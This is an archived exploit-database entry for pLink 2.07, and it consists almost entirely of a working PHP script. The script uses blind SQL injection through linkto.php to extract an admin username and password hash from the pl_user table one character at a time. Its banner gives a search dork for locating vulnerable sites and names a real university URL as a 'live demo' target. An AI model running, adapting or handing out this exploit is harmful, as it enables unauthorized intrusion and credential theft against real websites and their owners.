pLink 2.07 - 'linkto.php' Blind SQL Injection

EDB-ID:

6449


Author:

Stack

Type:

webapps


Platform:

PHP

Date:

2008-09-13


<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#             pLink 2.07 - Blind SQL Injection Exploit    
#                                                            
#      Vulnerability discovered by: Stack      
#      Exploit coded by:            Stack
#      Greetz to:                   All My Freind
#
###############################################################
#                                                            
#      Dork:        intext:"pLink 2.07"
#      Admin Panel: [Target]/link/
#      Usage:       php '.$argv[0].' [Target] [Userid]
#      Example for http://www.site.com/link/linkto.php?id=[Real id] 2
#      => php '.$argv[0].' http://www.site.com/link/linkto.php?id=128 2
#  Live Demo :
#   http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2
#                                                            
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url."+and+1=1/*"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0/*"));
$t = abs((100-($w/$r*100)));
echo "Password: ";
for ($j = 1; $j <= 32; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+pwd+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i."/*"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+pwd+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1)."/*"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
echo "\nUsername: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+pl_user+where+id=".$userid."+limit+0,1),".$i.",1))!=0/*"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i."/*"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1)."/*"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
} else {
echo "\nExploiting failed: By Stack\n";
}
?>

# milw0rm.com [2008-09-13]